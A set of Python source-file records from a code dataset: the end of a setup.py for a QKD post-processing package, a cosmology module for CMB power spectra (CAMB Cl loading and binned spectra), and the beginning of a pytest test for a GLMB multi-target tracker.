keywords='qkd post-processing',\n packages=find_packages(),\n include_package_data=True,\n install_requires=[\n 'colorama',\n 'pyngrok',\n 'bitstring',\n 'jsonpickle',\n 'starkbank-ecdsa',\n ],\n # dependency_links = [\n # 'https://github.com/starkbank/ecdsa-python.git'\n # ],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"197666647","text":"import os, copy, glob\nimport numpy as np\nimport util\nimport maps\n\n\ndef bl(fwhm_arcmin, lmax):\n \"\"\" returns the map-level transfer function for a symmetric Gaussian beam.\n * fwhm_arcmin - beam full-width-at-half-maximum (fwhm) in arcmin.\n * lmax - maximum multipole.\n \"\"\"\n ls = np.arange(0, lmax + 1)\n return np.exp(-(fwhm_arcmin * np.pi / 180. / 60.)**2 /\n (16. * np.log(2.)) * ls * (ls + 1.))\n\n\ndef nl(noise_uK_arcmin, fwhm_arcmin, lmax):\n \"\"\" returns the beam-deconvolved noise power spectrum in units of uK^2 for\n * noise_uK_arcmin - map noise level in uK.arcmin\n * fwhm_arcmin - beam full-width-at-half-maximum (fwhm) in arcmin.\n * lmax - maximum multipole.\n \"\"\"\n return (noise_uK_arcmin * np.pi / 180. / 60.)**2 / bl(fwhm_arcmin, lmax)**2\n\n\ndef get_camb_scalcl(prefix=None, lmax=None, fname=None):\n \"\"\" loads and returns a \"scalar Cls\" file produced by CAMB (camb.info).\n can either use a prefix indicating one of the Cl files included in lensing/data, or a full filename.\n lmax sets maximum multipole to load (all multipoles will be loaded by default). \"\"\"\n if fname == None:\n basedir = os.path.dirname(__file__)\n\n if prefix == None:\n prefix = \"ebp_lcdm\"\n fname = basedir + \"/data/cl/\" + prefix + \"/*_scalCls.dat\"\n\n tf = glob.glob(fname)\n assert (len(tf) == 1)\n\n return camb_clfile(tf[0], lmax=lmax)\n\n\ndef get_camb_lensedcl(prefix=None, lmax=None, fname=None):\n \"\"\" loads and returns a \"lensed Cls\" file produced by CAMB (camb.info).\n can either use a prefix indicating one of the Cl files included in lensing/data, or a full filename.\n lmax sets maximum multipole to load (all multipoles will be loaded by default). \"\"\"\n if fname == None:\n basedir = os.path.dirname(__file__)\n\n if prefix == None:\n prefix = \"ebp_lcdm\"\n fname = basedir + \"/data/cl/\" + prefix + \"/*_lensedCls.dat\"\n\n tf = glob.glob(fname)\n assert (len(tf) == 1)\n return camb_clfile(tf[0], lmax=lmax)\n\n\ndef is_camb_clfile(object):\n \"\"\" ducktyping check of whether the given object is a set of Cls produced by CAMB \"\"\"\n if not hasattr(object, 'lmax'):\n return False\n if not hasattr(object, 'ls'):\n return False\n return set(object.__dict__.keys()).issubset(\n set([\n 'lmax', 'ls', 'cltt', 'clee', 'clte', 'clpp', 'cltp', 'clbb',\n 'clep', 'cleb'\n ]))\n\n\nclass camb_clfile(object):\n \"\"\" class to hold Cls loaded from a the output files produced by CAMB. \"\"\"\n\n def __init__(self, tfname, lmax=None):\n \"\"\" load Cls from an _scalarCls or _lensedCls file given by tfname.\n lmax = maximum multipole to load (if None then all multipoles will be loaded. \"\"\"\n tarray = np.loadtxt(tfname)\n lmin = tarray[0, 0]\n assert (lmin in [1, 2])\n\n if lmax == None:\n lmax = np.shape(tarray)[0] - lmin + 1\n assert (tarray[-1, 0] == lmax)\n assert ((np.shape(tarray)[0] + 1) >= lmax)\n\n ncol = np.shape(tarray)[1]\n ell = np.arange(lmin, lmax + 1, dtype=np.float)\n\n self.lmax = lmax\n self.ls = np.concatenate([np.arange(0, lmin), ell])\n if ncol == 5:\n self.cltt = np.concatenate([\n np.zeros(lmin),\n tarray[0:(lmax - lmin + 1), 1] * 2. * np.pi / ell / (ell + 1.)\n ])\n self.clee = np.concatenate([\n np.zeros(lmin),\n tarray[0:(lmax - lmin + 1), 2] * 2. * np.pi / ell / (ell + 1.)\n ])\n self.clbb = np.concatenate([\n np.zeros(lmin),\n tarray[0:(lmax - lmin + 1), 3] * 2. * np.pi / ell / (ell + 1.)\n ])\n self.clte = np.concatenate([\n np.zeros(lmin),\n tarray[0:(lmax - lmin + 1), 4] * 2. * np.pi / ell / (ell + 1.)\n ])\n\n elif ncol == 6:\n tcmb = 2.726 * 1e6 #uK\n\n self.cltt = np.concatenate([\n np.zeros(lmin),\n tarray[0:(lmax - lmin + 1), 1] * 2. * np.pi / ell / (ell + 1.)\n ])\n self.clee = np.concatenate([\n np.zeros(lmin),\n tarray[0:(lmax - lmin + 1), 2] * 2. * np.pi / ell / (ell + 1.)\n ])\n self.clte = np.concatenate([\n np.zeros(lmin),\n tarray[0:(lmax - lmin + 1), 3] * 2. * np.pi / ell / (ell + 1.)\n ])\n self.clpp = np.concatenate([\n np.zeros(lmin),\n tarray[0:(lmax - lmin + 1), 4] / ell**4 / tcmb**2\n ])\n self.cltp = np.concatenate([\n np.zeros(lmin), tarray[0:(lmax - lmin + 1), 5] / ell**3 / tcmb\n ])\n\n def copy(self, lmax=None, lmin=None):\n \"\"\" clone this object, optionally restricting to the multipole range given by [lmin, lmax] \"\"\"\n if (lmax == None):\n return copy.deepcopy(self)\n else:\n assert (lmax <= self.lmax)\n ret = copy.deepcopy(self)\n ret.lmax = lmax\n ret.ls = np.arange(0, lmax + 1)\n for k, v in self.__dict__.items():\n if k[0:2] == 'cl':\n setattr(ret, k, copy.deepcopy(v[0:lmax + 1]))\n\n if lmin != None:\n assert (lmin <= lmax)\n for k in self.__dict__.keys():\n if k[0:2] == 'cl':\n getattr(ret, k)[0:lmin] = 0.0\n return ret\n\n def hashdict(self):\n \"\"\" return a dictionary uniquely associated with the contents of this clfile. \"\"\"\n ret = {}\n for attr in [\n 'lmax', 'cltt', 'clee', 'clte', 'clpp', 'cltp', 'clbb', 'clep',\n 'cleb'\n ]:\n if hasattr(self, attr):\n ret[attr] = getattr(self, attr)\n return ret\n\n def __add__(self, other):\n if is_camb_clfile(other):\n assert (self.lmax == other.lmax)\n ret = self.copy()\n zs = np.zeros(self.lmax + 1)\n for attr in [\n 'cltt', 'clee', 'clte', 'clpp', 'cltp', 'clbb', 'clep',\n 'cleb'\n ]:\n if (hasattr(self, attr) or hasattr(other, attr)):\n setattr(ret, attr,\n getattr(self, attr, zs) + getattr(other, attr, zs))\n return ret\n else:\n assert (0)\n\n def __eq__(self, other):\n try:\n for key in self.__dict__.keys() + other.__dict__.keys():\n if type(self.__dict__[key]) == np.ndarray:\n assert (np.all(self.__dict__[key] == other.__dict__[key]))\n else:\n assert (self.__dict__[key] == other.__dict__[key])\n except:\n return False\n\n return True\n\n # def plot(self, spec='cltt', p=pl.plot, t=lambda l:1., **kwargs):\n # \"\"\" plot the spectrum\n # * spec - spectrum to display (e.g. cltt, clee, clte, etc.)\n # * p - plotting function to use p(x,y,**kwargs)\n # * t - scaling to apply to the plotted Cl -> t(l)*Cl\n # \"\"\"\n # p( self.ls, t(self.ls) * getattr(self, spec), **kwargs )\n\n\ndef is_lcl(obj):\n \"\"\" ducktyping check of whether this is an lcl object. \"\"\"\n return (hasattr(obj, 'lmax') and hasattr(obj, 'dl') and hasattr(obj, 'nm')\n and hasattr(obj, 'cl'))\n\n\nclass lcl(object):\n \"\"\"\n Class to hold 1-dimensional power spectra with uniform binning. Contains attributes:\n dl, \"delta ell,\" the size of binning\n lmax, the maximum ell to keep track of\n cl, the power spectrum value Cl\n nm, number of modes (number or pixels in each annulus)\n \"\"\"\n\n def __init__(self, lmax, fc, dl=1):\n \"\"\"\n Constructor.\n fc, complex FFT to that we want to calculate the power spectrum from\n \"\"\"\n self.lmax = lmax\n self.dl = dl\n\n ell = fc.get_ell().flatten()\n self.nm, bins = np.histogram(ell, bins=np.arange(0, lmax + 1, dl))\n self.cl, bins = np.histogram(\n ell, bins=np.arange(0, lmax + 1, dl), weights=fc.fft.flatten())\n self.cl[np.nonzero(self.nm)] /= self.nm[np.nonzero(self.nm)]\n\n def is_compatible(self, other):\n \"\"\" Check if this object can be added, subtracted, etc. with other. \"\"\"\n return (is_lcl(other) and (self.lmax == other.lmax)\n and (self.dl == other.dl) and np.all(self.nm == other.nm))\n\n def __add__(self, other):\n assert (self.is_compatible(other))\n ret = copy.deepcopy(self)\n ret.cl += other.cl\n return ret\n\n def __sub__(self, other):\n assert (self.is_compatible(other))\n ret = copy.deepcopy(self)\n ret.cl -= other.cl\n return ret\n\n def __mul__(self, other):\n if np.isscalar(other):\n ret = copy.deepcopy(self)\n ret.cl *= other\n return ret\n elif is_lcl(other):\n assert (self.is_compatible(other))\n ret = copy.deepcopy(self)\n ret.cl[np.nonzero(self.nm)] *= other.cl[np.nonzero(self.nm)]\n return ret\n else:\n assert (0)\n\n def __div__(self, other):\n if np.isscalar(other):\n ret = copy.deepcopy(self)\n ret.cl /= other\n return ret\n elif is_lcl(other):\n assert (self.is_compatible(other))\n ret = copy.deepcopy(self)\n ret.cl[np.nonzero(self.nm)] /= other.cl[np.nonzero(self.nm)]\n return ret\n else:\n assert (0)\n\n def get_ml(self, lbins, w=lambda l: 1.):\n \"\"\"\n Rebins this spectrum with non-uniform binning as a bcl object.\n * lbins - numpy-array definining the bin edges [lbins[0], lbins[1]], [lbins[1], lbins[2]], ...\n * w - weight function to apply when accumulating into bins.\n \"\"\"\n lb = 0.5 * (lbins[:-1] + lbins[1:])\n wb = w(lb)\n\n l = np.arange(0, self.lmax + 1, self.dl)\n l = 0.5 * (l[:-1] + l[1:]) # get bin centers\n w = w(l)\n\n norm, bins = np.histogram(\n l, bins=lbins,\n weights=np.nan_to_num(self.nm)) # Get weights in each l-bin\n spec, bins = np.histogram(\n l,\n bins=lbins,\n weights=w * np.nan_to_num(self.nm) * np.nan_to_num(\n self.cl)) # Bin the spectrum\n\n spec[np.nonzero(norm)] /= norm[np.nonzero(\n norm)] * wb # normalize the spectrum\n\n return bcl(lbins, {'cl': spec})\n\n\nclass bcl(object):\n \"\"\"\n Binned power spectrum. Contains attributes:\n specs, dictionary, contaning binned spectra\n lbins, list defining the bin edges.\n ls, bin centers, given by average of left and right edges.\n \"\"\"\n\n def __init__(self, lbins, specs):\n self.lbins = lbins\n self.specs = specs\n\n self.ls = 0.5 * (lbins[0:-1] + lbins[1:]) # get bin centers\n\n def __getattr__(self, spec):\n try:\n return self.specs[spec]\n except KeyError:\n raise AttributeError(spec)\n\n def __mul__(self, other):\n ret = copy.deepcopy(self)\n\n if np.isscalar(other):\n for spec in ret.specs.keys():\n ret.specs[spec][:] *= other\n elif (hasattr(other, 'lbins') and hasattr(other, 'specs')):\n assert (np.all(self.lbins == other.lbins))\n for spec in ret.specs.keys():\n ret.specs[spec][:] *= other.specs[spec][:]\n else:\n assert (0)\n\n return ret\n\n def __div__(self, other):\n ret = copy.deepcopy(self)\n\n if np.isscalar(other):\n for spec in ret.specs.keys():\n ret.specs[spec][:] /= other\n elif (hasattr(other, 'lbins') and hasattr(other, 'specs')):\n assert (np.all(self.lbins == other.lbins))\n for spec in ret.specs.keys():\n ret.specs[spec][:] /= other.specs[spec][:]\n else:\n assert (0)\n\n return ret\n\n def __add__(self, other):\n if (hasattr(other, 'lbins') and hasattr(other, 'specs')):\n assert (np.all(self.lbins == other.lbins))\n\n ret = copy.deepcopy(self)\n for spec in ret.specs.keys():\n ret.specs[spec][:] += other.specs[spec][:]\n return ret\n else:\n assert (0)\n\n def __sub__(self, other):\n if (hasattr(other, 'lbins') and hasattr(other, 'specs')):\n assert (np.all(self.lbins == other.lbins))\n\n ret = copy.deepcopy(self)\n for spec in ret.specs.keys():\n ret.specs[spec][:] -= other.specs[spec][:]\n return ret\n else:\n assert (0)\n\n def __iadd__(self, other):\n if (hasattr(other, 'lbins') and hasattr(other, 'specs')):\n assert (np.all(self.lbins == other.lbins))\n assert (self.specs.keys() == other.specs.keys())\n\n for spec in self.specs.keys():\n self.specs[spec][:] += other.specs[spec]\n else:\n assert (0)\n\n return self\n\n def get_ml(self, lbins, w=lambda l: 1.):\n \"\"\" Return the average cl in annuli defined by the list of bin edges lbins.\n Currently only implemented for trivial case where lbins are the same as those used by this object. \"\"\"\n if np.all(self.lbins == lbins):\n return self\n else:\n assert (0)\n\n # def plot(self, spec='cl', p=pl.plot, t=lambda l:1., **kwargs):\n # \"\"\" plot the binned spectrum\n # * spec - spectrum to display (e.g. cltt, clee, clte, etc.)\n # * p - plotting function to use p(x,y,**kwargs)\n # * t - scaling to apply to the plotted Cl -> t(l)*Cl\n # \"\"\"\n # p( self.ls, t(self.ls) * self.specs[spec], **kwargs )\n\n def inverse(self):\n ret = copy.deepcopy(self)\n for spec in ret.specs.keys():\n ret.specs[spec][:] = 1. / ret.specs[spec][:]\n return ret\n\n\ndef is_clmat_t(obj):\n if not (hasattr(obj, 'lmax') and hasattr(obj, 'clmat')):\n return False\n return obj.clmat.shape == (obj.lmax + 1)\n\n\nclass clmat_t(object):\n def __init__(self, clmat):\n self.lmax = len(clmat) - 1\n self.clmat = clmat.copy()\n\n def clone(self, lmax=None):\n if lmax == None:\n lmax = self.lmax\n assert (lmax <= self.lmax)\n ret = sinv_filt(np.zeros(lmax + 1))\n ret.clmat[:] = self.clmat[0:lmax + 1]\n\n return ret\n\n def __add__(self, other):\n if (hasattr(other, 'fft') and hasattr(other, 'get_ell')):\n ret = other.copy()\n ell = other.get_ell()\n\n ret.fft[:, :] += np.interp(\n ell.flatten(),\n np.arange(0, self.lmax + 1),\n self.clmat[:],\n right=0).reshape(ell.shape)\n return ret\n elif ((getattr(other, 'size', 0) > 1)\n and (len(getattr(other, 'shape', ())) == 1)):\n assert ((self.lmax + 1) <= len(other))\n return clmat_t(self.clmat + other[0:self.lmax + 1])\n else:\n assert (0)\n\n def __mul__(self, other):\n if False:\n pass\n elif np.isscalar(other):\n return clmat_t(self.clmat * other)\n elif ((getattr(other, 'size', 0) > 1)\n and (len(getattr(other, 'shape', ())) == 1)):\n assert ((self.lmax + 1) <= len(other))\n return clmat_t(self.clmat * other[0:lmax + 1])\n\n elif (hasattr(other, 'fft') and hasattr(other, 'get_ell')):\n ret = other.copy()\n ell = other.get_ell()\n\n def fftxcl(fft, cl):\n return fft * np.interp(\n ell.flatten(), np.arange(0, len(cl)), cl, right=0).reshape(\n fft.shape)\n\n ret.fft[:, :] = fftxcl(other.fft, self.clmat[:])\n return ret\n else:\n assert (0)\n\n def inverse(self):\n ret = clmat_t(np.zeros(self.lmax + 1))\n ret.clmat[np.nonzero(\n self.clmat)] = 1. / self.clmat[np.nonzero(self.clmat)]\n return ret\n\n def cholesky(self):\n return clmat_t(np.sqrt(self.clmat))\n\n\ndef is_clmat_teb(obj):\n if not (hasattr(obj, 'lmax') and hasattr(obj, 'clmat')):\n return False\n return obj.clmat.shape == (obj.lmax + 1, 3, 3)\n\n\nclass clmat_teb(object):\n \"\"\" Class to hold the 3x3 covariance matrix at each multipole for a set of T, E and B auto- and cross-spectra. \"\"\"\n\n def __init__(self, cl):\n \"\"\" Initializes this clmat_teb object using the power spectra cl.cltt, cl.clte, clee, etc.\n Spectra which are not present in cl are assumed to be zero.\n \"\"\"\n lmax = cl.lmax\n zs = np.zeros(lmax + 1)\n\n clmat = np.zeros((lmax + 1, 3,\n 3)) # matrix of TEB correlations at each l.\n clmat[:, 0, 0] = getattr(cl, 'cltt', zs.copy())\n clmat[:, 0, 1] = getattr(cl, 'clte', zs.copy())\n clmat[:, 1, 0] = clmat[:, 0, 1]\n clmat[:, 0, 2] = getattr(cl, 'cltb', zs.copy())\n clmat[:, 2, 0] = clmat[:, 0, 2]\n clmat[:, 1, 1] = getattr(cl, 'clee', zs.copy())\n clmat[:, 1, 2] = getattr(cl, 'cleb', zs.copy())\n clmat[:, 2, 1] = clmat[:, 1, 2]\n clmat[:, 2, 2] = getattr(cl, 'clbb', zs.copy())\n\n self.lmax = lmax\n self.clmat = clmat\n\n def hashdict(self):\n return {\n 'lmax': self.lmax,\n 'clmat': hashlib.md5(self.clmat.view(np.uint8)).hexdigest()\n }\n\n def compatible(self, other):\n \"\"\" Test whether this object and the clmat_teb object other can be added, subtracted, or multiplied. \"\"\"\n return ((self.lmax == other.lmax)\n and (self.clmat.shape == other.clmat.shape))\n\n # def clone(self, lmax=None):\n # if lmax == None:\n # lmax = self.lmax\n # ret = clmat_teb( util.dictobj( { 'lmax' : lmax } ) )\n # ret.clmat[:,:,:] = self.clmat[0:lmax+1,:,:]\n\n return ret\n\n def __add__(self, other):\n if is_clmat_teb(other):\n assert (self.compatible(other))\n ret = copy.deepcopy(self)\n ret.clmat += other.clmat\n return ret\n elif maps.is_tebfft(other):\n teb = other\n ret = teb.copy()\n ell = teb.get_ell()\n\n ret.tfft[:, :] += np.interp(\n ell.flatten(),\n np.arange(0, len(self.clmat[:, 0, 0])),\n self.clmat[:, 0, 0],\n right=0).reshape(ell.shape)\n ret.efft[:, :] += np.interp(\n ell.flatten(),\n np.arange(0, len(self.clmat[:, 1, 1])),\n self.clmat[:, 1, 1],\n right=0).reshape(ell.shape)\n ret.bfft[:, :] += np.interp(\n ell.flatten(),\n np.arange(0, len(self.clmat[:, 2, 2])),\n self.clmat[:, 2, 2],\n right=0).reshape(ell.shape)\n\n return ret\n else:\n assert (0)\n\n def __mul__(self, other):\n if False:\n pass\n elif np.isscalar(other):\n ret = self.clone()\n ret.clmat *= other\n return ret\n elif is_clmat_teb(other):\n assert (self.compatible(other))\n ret = self.clone()\n ret.clmat *= other.clmat\n return ret\n elif ((getattr(other, 'size', 0) > 1)\n and (len(getattr(other, 'shape', ())) == 1)):\n lmax = self.lmax\n assert ((lmax + 1) >= len(other))\n\n ret = self.clone()\n for i in xrange(0, 3):\n for j in xrange(0, 3):\n ret.clmat[:, i, j] *= other[0:lmax + 1]\n\n return ret\n\n elif (hasattr(other, 'tfft') and hasattr(other, 'efft')\n and hasattr(other, 'bfft') and hasattr(other, 'get_ell')):\n teb = other\n ret = teb.copy()\n ell = teb.get_ell()\n\n def fftxcl(fft, cl):\n return fft * np.interp(\n ell.flatten(), np.arange(0, len(cl)), cl, right=0).reshape(\n fft.shape)\n\n ret.tfft[:, :] = fftxcl(teb.tfft, self.clmat[:, 0, 0]) + fftxcl(\n teb.efft, self.clmat[:, 0, 1]) + fftxcl(\n teb.bfft, self.clmat[:, 0, 2])\n ret.efft[:, :] = fftxcl(teb.tfft, self.clmat[:, 1, 0]) + fftxcl(\n teb.efft, self.clmat[:, 1, 1]) + fftxcl(\n teb.bfft, self.clmat[:, 1, 2])\n ret.bfft[:, :] = fftxcl(teb.tfft, self.clmat[:, 2, 0]) + fftxcl(\n teb.efft, self.clmat[:, 2, 1]) + fftxcl(\n teb.bfft, self.clmat[:, 2, 2])\n\n return ret\n else:\n assert (0)\n\n def inverse(self):\n \"\"\" Return a new clmat_teb object, which contains the matrix inverse of this one, multipole-by-multipole. \"\"\"\n ret = copy.deepcopy(self)\n for l in xrange(0, self.lmax + 1):\n ret.clmat[l, :, :] = np.linalg.pinv(self.clmat[l])\n return ret\n\n def cholesky(self):\n \"\"\" Return a new clmat_teb object, which contains the cholesky decomposition (or matrix square root) of this one, multipole-by-multipole. \"\"\"\n ret = copy.deepcopy(self)\n for l in xrange(0, self.lmax + 1):\n u, t, v = np.linalg.svd(self.clmat[l])\n ret.clmat[l, :, :] = np.dot(u, np.dot(np.diag(np.sqrt(t)), v))\n return ret\n\n\n# class blmat_teb(clmat_teb):\n# \"\"\" Special case of clmat_teb which is diagonal, with the TT, EE, and BB covariances all equal to B(l). \"\"\"\n# def __init__(self, bl):\n# super(blmat_teb, self).__init__( util.dictobj( { 'lmax' : len(bl)-1,\n# 'cltt' : bl,\n# 'clee' : bl,\n# 'clbb' : bl } ) )\n\n# def tebfft2cl( lbins, teb1, teb2=None, w=None, psimin=0., psimax=np.inf, psispin=1 ):\n# \"\"\" Calculate the annulus-averaged auto- or cross-spectrum of teb object(s),\n# for bins described by lbins and a weight function w=w(l).\n# * lbins = list of bin edges.\n# * teb1 = tebfft object.\n# * teb2 = optional second tebfft object to cross-correlate with teb1 (otherwise will return an auto-spectrum).\n# * w = function w(l) which weights the FFT when averaging.\n# * psimin, psimax, psispin = parameters used to set wedges for the annular average.\n# psi = mod(psispin * arctan2(lx, -ly), 2pi) in the range [psimin, psimax].\n# \"\"\"\n# dopsi = ( (psimin, psimax, psispin) != (0., np.inf, 1) )\n\n# if teb2 == None:\n# teb2 = teb1\n\n# assert( teb1.compatible( teb2 ) )\n\n# ell = teb1.get_ell().flatten()\n# if dopsi:\n# lx, ly = teb1.get_lxly()\n# psi = np.mod( psispin*np.arctan2(lx, -ly), 2.*np.pi ).flatten()\n\n# if w == None:\n# w = np.ones(ell.shape)\n# else:\n# w = w(ell)\n\n# if dopsi:\n# w[ np.where( psi < psimin ) ] = 0.0\n# w[ np.where( psi >= psimax ) ] = 0.0\n\n# norm, bins = np.histogram(ell, bins=lbins, weights=w); norm[ np.where(norm != 0.0) ] = 1./norm[ np.where(norm != 0.0) ]\n# cltt, bins = np.histogram(ell, bins=lbins, weights=w*(teb1.tfft * np.conj(teb2.tfft)).flatten().real); cltt *= norm\n# clte, bins = np.histogram(ell, bins=lbins, weights=w*(teb1.tfft * np.conj(teb2.efft)).flatten().real); clte *= norm\n# cltb, bins = np.histogram(ell, bins=lbins, weights=w*(teb1.tfft * np.conj(teb2.bfft)).flatten().real); cltb *= norm\n# clee, bins = np.histogram(ell, bins=lbins, weights=w*(teb1.efft * np.conj(teb2.efft)).flatten().real); clee *= norm\n# cleb, bins = np.histogram(ell, bins=lbins, weights=w*(teb1.efft * np.conj(teb2.bfft)).flatten().real); cleb *= norm\n# clbb, bins = np.histogram(ell, bins=lbins, weights=w*(teb1.bfft * np.conj(teb2.bfft)).flatten().real); clbb *= norm\n\n# return bcl(lbins, { 'cltt' : cltt,\n# 'clte' : clte,\n# 'cltb' : cltb,\n# 'clee' : clee,\n# 'cleb' : cleb,\n# 'clbb' : clbb } )\n\n# def cross_cl( lbins, r1, r2=None, w=None ):\n# \"\"\" Returns the auto- or cross-spectra of either rfft or tebfft objects. \"\"\"\n# if r2 is None:\n# r2 = r1\n\n# assert( r1.compatible( r2 ) )\n\n# if maps.is_tebfft(r1):\n# return tebfft2cl(lbins, r1, r2, w=w)\n# elif maps.is_rfft(r1):\n# return rcfft2cl(lbins, r1, r2, w=w)\n# elif maps.is_cfft(r1):\n# return rcfft2cl(lbins, r1, r2, w=w)\n# else:\n# assert(0)\n\n# def rcfft2cl( lbins, r1, r2=None, w=None, psimin=0., psimax=np.inf, psispin=1 ):\n# \"\"\" Calculate the annulus-averaged auto- or cross-spectrum of rfft object(s),\n# for bins described by lbins and a weight function w=w(l).\n# * lbins = list of bin edges.\n# * r1 = tebfft object.\n# * r2 = optional second rfft object to cross-correlate with teb1 (otherwise will return an auto-spectrum).\n# * w = function w(l) which weights the FFT when averaging.\n# * psimin, psimax, psispin = parameters used to set wedges for the annular average.\n# psi = mod(psispin * arctan2(lx, -ly), 2pi) in the range [psimin, psimax].\n# \"\"\"\n# dopsi = ( (psimin, psimax, psispin) != (0., np.inf, 1) )\n# if r2 is None:\n# r2 = r1\n\n# assert( r1.compatible( r2 ) )\n\n# ell = r1.get_ell().flatten()\n\n# if dopsi:\n# lx, ly = r1.get_lxly()\n# psi = np.mod( psispin*np.arctan2(lx, -ly), 2.*np.pi ).flatten()\n\n# if w == None:\n# w = np.ones( ell.shape )\n# else:\n# w = w(ell)\n\n# c = (r1.fft * np.conj(r2.fft)).flatten()\n# w[ np.isnan(c) ] = 0.0\n# c[ np.isnan(c) ] = 0.0\n\n# if dopsi:\n# w[ np.where( psi < psimin ) ] = 0.0\n# w[ np.where( psi >= psimax ) ] = 0.0\n\n# norm, bins = np.histogram(ell, bins=lbins, weights=w); norm[ np.where(norm != 0.0) ] = 1./norm[ np.where(norm != 0.0) ]\n# clrr, bins = np.histogram(ell, bins=lbins, weights=w*c); clrr *= norm\n\n# return bcl(lbins, { 'cl' : clrr } )\n\n# def cl2cfft(cl, pix):\n# \"\"\" Returns a cfft object, with FFT(lx,ly) = cl[ sqrt(lx**2 + ly**2]) ] \"\"\"\n# ell = pix.get_ell().flatten()\n\n# ret = maps.cfft( nx=pix.nx, dx=pix.dx,\n# fft=np.array( np.interp( ell, np.arange(0, len(cl)), cl, right=0 ).reshape(pix.nx, pix.ny), dtype=np.complex ),\n# ny=pix.ny, dy=pix.dy )\n\n# return ret\n\n# def cl2tebfft(cl, pix):\n# ell = pix.get_ell().flatten()\n\n# return maps.tebfft( pix.nx, pix.dx,\n# ffts=[ np.array( np.interp( ell, np.arange(0, cl.lmax+1), cl.cltt, right=0 ).reshape(pix.ny, pix.nx/2+1), dtype=np.complex ),\n# np.array( np.interp( ell, np.arange(0, cl.lmax+1), cl.clee, right=0 ).reshape(pix.ny, pix.nx/2+1), dtype=np.complex ),\n# np.array( np.interp( ell, np.arange(0, cl.lmax+1), cl.clbb, right=0 ).reshape(pix.ny, pix.nx/2+1), dtype=np.complex ) ],\n# ny=pix.ny, dy=pix.dy )\n\n# def plot_cfft_cl2d( cfft, cfft2=None, smth=0, lcnt=None, cm=pl.cm.jet, t = lambda l, v : np.log(np.abs(v)), axlab=True, vmin=None, vmax=None, cbar=False):\n# \"\"\" Plot the two-dimensional power spectrum of a tebfft object.\n# * cfft2 = optional second cfft object for cross-correlation.\n# * smth = gaussian smoothing (in units of pixels) to apply to the 2D spectrum when plotting.\n# * lcnt = list of L contours to overplot.\n# * cm = colormap\n# * t = scaling to apply to each mode as a function of (l)\n# * axlab = add lx and ly axis labels? (boolean)\n# * vmin = color scale minimum.\n# * vmax = color scale maximum.\n# * cbar = include a colorbar.\n# \"\"\"\n# if cfft2 is None:\n# cfft2 = cfft\n\n# assert( cfft.compatible(cfft2) )\n\n# lx, ly = cfft.get_lxly()\n\n# lx = np.fft.fftshift(lx)\n# ly = np.fft.fftshift(ly)\n\n# ell = np.sqrt(lx**2 + ly**2)\n\n# ext = [lx[0,0], lx[-1,-1], ly[-1,-1], ly[0,0]]\n\n# pl.imshow( scipy.ndimage.gaussian_filter( t(ell, np.fft.fftshift( (cfft.fft * np.conj(cfft2.fft)).real ) ), smth),\n# interpolation='nearest', extent=ext, cmap=cm, vmin=vmin, vmax=vmax )\n# if cbar == True:\n# pl.colorbar()\n# pl.contour( lx, ly, ell, levels=lcnt, colors='k', linestyles='--' )\n\n# if axlab == True:\n# pl.xlabel(r'$\\ell_{x}$')\n# pl.ylabel(r'$\\ell_{y}$')\n","sub_path":"Code/lensing/spec.py","file_name":"spec.py","file_ext":"py","file_size_in_byte":29038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"66918877","text":"import pytest\nimport numpy as np\nimport numpy.testing as test\nimport numpy.random as rnd\nimport scipy.stats as stats\nfrom copy import deepcopy\nimport scipy.linalg as la\n\nimport gasur.swarm_estimator.tracker as tracker\nimport gasur.utilities.distributions as distributions\nfrom gncpy.math import rk4\nimport gncpy.filters as filters\n\n\nclass TestGeneralizedLabeledMultiBernoulli:\n def test_multiple_timesteps(self, glmb_tup):\n glmb = glmb_tup[0]\n dt = glmb_tup[1]\n\n lst0 = [[0.633157293, 1773.703654],\n [1.18789096, 54.7751864],\n [0.535539478, 834.6096047],\n [0.184379534, 280.7738772],\n [-0.948442144, 1601.489137],\n [1.471087126, 626.8483563],\n [0.604199317, 1752.778305],\n [1.239693395, 170.0884227],\n [-1.448102107, 339.6608391],\n [1.187969711, 196.6936677],\n [-0.247847706, 1915.77906],\n [0.104191816, 1383.754228],\n [-0.579574738, 1373.001855],\n [1.051257553, 36.57655469],\n [0.785851542, 1977.722178],\n [0.779635397, 560.8879841],\n [0.908797813, 206.4520132],\n [-0.163697315, 1817.191006],\n [-0.648380275, 575.5506772]]\n\n lst1 = [[0.566508296, 1776.656535],\n [0.280561619, 1399.51672],\n [-1.249303237, 828.1119756],\n [0.610726107, 828.3585391],\n [-1.413862907, 1071.792812],\n [0.514576054, 1029.778224],\n [1.396735619, 1173.110081],\n [1.267324494, 274.9494083],\n [-1.133246777, 1614.782577],\n [-0.321457697, 330.7083942],\n [1.343057816, 695.5317195],\n [0.787949461, 1451.995971],\n [1.2041916, 1247.344414],\n [0.788358907, 697.796684],\n [-0.722792845, 1791.772436],\n [-0.22590819, 1929.680094],\n [0.513466609, 1243.39144]]\n\n lst2 = [[0.609257256, 1752.20395],\n [0.3680216, 653.2898035],\n [0.085005535, 1771.884199],\n [-0.448400273, 1817.070302],\n [0.387547234, 31.64248569],\n [1.349116859, 1381.793835],\n [1.562385813, 344.6810167],\n [-1.139971663, 1865.190926],\n [0.61832249, 132.0003454],\n [0.802560849, 1507.752377],\n [1.328970773, 1423.049517],\n [-1.180387586, 39.76026768],\n [-1.488452083, 56.61297604],\n [-0.797301446, 1720.055897],\n [0.121991386, 1105.643957],\n [1.074521739, 248.3466302],\n [-0.693714932, 1171.518543]]\n\n lst = [lst0, lst1, lst2]\n for k in range(0, 3):\n meas = []\n for z in lst[k]:\n meas.append(np.array(z).reshape((2, 1)))\n\n glmb.predict(time_step=k, dt=dt)\n glmb.correct(meas=meas)\n glmb.extract_states(dt=dt)\n\n # check number of time steps\n assert len(glmb.states) == 3\n assert len(glmb.labels) == 3\n\n # check for correct labeling\n assert glmb.labels[2][0] == (0, 3)\n\n # check number of agents\n assert len(glmb.states[1]) == 1\n assert len(glmb.labels[1]) == 1\n assert len(glmb.states[2]) == 1\n assert len(glmb.labels[2]) == 1\n\n act_state = glmb.states[1][0]\n exp_state = np.array([988.471986936194, -5.85688289282618,\n 1476.43207756921, 5.00728692275889,\n 0.000613071164420375]).reshape((5, 1))\n\n test.assert_array_almost_equal(act_state, exp_state, decimal=0)\n\n 